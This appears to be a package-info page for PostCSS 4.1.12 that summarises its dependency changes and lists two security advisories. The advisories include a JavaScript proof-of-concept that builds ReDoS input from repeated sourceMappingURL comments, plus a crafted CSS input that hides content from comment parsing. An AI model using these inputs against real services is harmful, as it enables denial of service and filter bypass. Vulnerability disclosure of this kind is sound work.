PostCSS version 4.1.12 represents an incremental update to the popular CSS transformation tool, building upon the foundation laid by version 4.1.11. Both versions empower developers to manipulate CSS using JavaScript plugins, offering a flexible and extensible way to automate tasks like vendor prefixing, future CSS syntax adoption, and code optimization. Key dependencies such as js-base64 and source-map remained consistent, ensuring reliable base functionalities for both versions.
The most notable changes reside in the development dependencies, indicating improvements in the testing and build process. Version 4.1.12 upgraded chai to version 3.0.0, babel to 5.6.2, and sinon to 1.15.3, potentially bringing enhanced assertion capabilities, better ES6+ syntax support during development, and more robust mocking and spying functionalities for testing. fs-extra was also updated to 0.20.0. Conversely, version 4.1.11 utilized older versions of these tools, including chai 2.3.0, babel-core 5.4.3 and sinon 1.14.1. The update also introduces compatibility with eslint 0.14.0. These updates collectively point towards a modernized development environment, potentially streamlining the contribution process and ensuring higher code quality in the long run, even if the core functionality for end-users remains largely the same. Developers using PostCSS would find the updates relevant for contributing to the project or extending its functionalities.
All the vulnerabilities related to the version 4.1.12 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.